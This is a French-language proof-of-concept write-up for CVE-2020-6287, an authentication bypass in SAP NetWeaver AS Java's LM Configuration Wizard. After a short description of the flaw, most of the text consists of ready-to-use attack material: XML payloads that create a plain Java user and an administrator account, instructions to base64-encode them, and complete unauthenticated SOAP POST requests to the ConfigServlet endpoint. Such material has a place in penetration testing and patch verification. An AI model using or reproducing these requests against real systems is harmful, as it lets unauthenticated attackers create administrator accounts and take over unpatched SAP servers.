
[CVE-2020-6287] Contournement de l'authentification SAP NetWeaver AS JAVA (Assistant de configuration LM) (Création d'un utilisateur Java simple et administrateur)
[CVE-2020-6287] SAP NetWeaver AS JAVA (Assistant de configuration LM) Contournement d'authentification (Création d'utilisateur Java simple et administrateur)
SAP NetWeaver est la plateforme technologique intégrée de SAP et le fondement technique de toutes les applications SAP depuis SAP Business Suite. SAP NetWeaver est une plateforme d'application et d'intégration orientée services qui fournit un environnement de développement et d'exécution pour les applications SAP, et peut également être utilisée pour le développement personnalisé et l'intégration avec d'autres applications et systèmes. SAP NetWeaver AS JAVA (Assistant de configuration LM), versions 7.30, 7.31, 7.40, 7.50, n'effectue pas de vérification d'authentification, ce qui permet à un attaquant sans authentification préalable d'exécuter des tâches de configuration pour effectuer des actions critiques contre le système Java SAP, notamment la possibilité de créer un utilisateur administratif, compromettant ainsi la confidentialité, l'intégrité et la disponibilité du système, ce qui conduit à une vérification d'authentification manquante.
GET /CTCWebService/CTCWebServiceBean?wsdlPreuve de concept (PoC) 1Preuve de concept (PoC) 2CVE-2020-6286Preuve de concept (PoC) 1 : Créer un utilisateur Java simple
Charge utile
<root>
<user>
<JavaOrABAP>java</JavaOrABAP>
<username>pentestuser</username>
<password>v3rystr0ngp@ssw0rd</password>
<userType></userType>
</user>
</root>
Encodez la charge utile ci-dessus en Base64 et insérez-la dans le champ <BASE64_ENCODED_PAYLOAD_HERE> de la requête ci-dessous
POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 CVE-2020-6287 PoC
Content-Type: text/xml;charset=UTF-8
SOAPAction:
Content-Length: 340
<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:urn=\"urn:CTCWebServiceSi\">
<soapenv:Header />
<soapenv:Body>
<urn:executeSynchronious>
<identifier>
<component>sap.com/tc~lm~config~content</component>
<path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path>
</identifier>
<contextMessages>
<baData>BASE64_ENCODED_PAYLOAD_HERE</baData>
<name>userDetails</name>
</contextMessages>
</urn:executeSynchronious>
</soapenv:Body>
</soapenv:Envelope>
Preuve de concept (PoC) 2 : Créer un utilisateur Java administrateur
Charge utile
<PCK>
<Usermanagement>
<SAP_XI_PCK_CONFIG>
<roleName>Administrator</roleName>
</SAP_XI_PCK_CONFIG>
<SAP_XI_PCK_COMMUNICATION>
<roleName>ThisIsRnd9326</roleName>
</SAP_XI_PCK_COMMUNICATION>
<SAP_XI_PCK_MONITOR>
<roleName>ThisIsRnd5031</roleName>
</SAP_XI_PCK_MONITOR>
<SAP_XI_PCK_ADMIN>
<roleName>ThisIsRnd9846</roleName>
</SAP_XI_PCK_ADMIN>
<PCKUser>
<userName secure="true">pentestuser</userName>
<password secure="true">v3rystr0ngp@ssw0rd</password>
</PCKUser>
<PCKReceiver>
<userName>ThisIsRnd6461</userName>
<password secure="true">ThisIsRnd5525</password>
</PCKReceiver>
<PCKMonitor>
<userName>ThisIsRnd9457</userName>
<password secure="true">ThisIsRnd9037</password>
</PCKMonitor>
<PCKAdmin>
<userName>ThisIsRnd8386</userName>
<password secure="true">ThisIsRnd8477</password>
</PCKAdmin>
</Usermanagement>
</PCK>
Encodez la charge utile ci-dessus en Base64 et insérez-la dans le champ <BASE64_ENCODED_PAYLOAD_HERE> de la requête ci-dessous
POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 CVE-2020-6287 PoC
Content-Type: text/xml;charset=UTF-8
SOAPAction:
Content-Length: 340
<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:urn=\"urn:CTCWebServiceSi\">
<soapenv:Header />
<soapenv:Body>
<urn:executeSynchronious>
<identifier>
<component>sap.com/tc~lm~config~content</component>
<path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path>
</identifier>
<contextMessages>
<baData>BASE64_ENCODED_PAYLOAD_HERE</baData>
<name>userDetails</name>
</contextMessages>
</urn:executeSynchronious>
</soapenv:Body>
</soapenv:Envelope>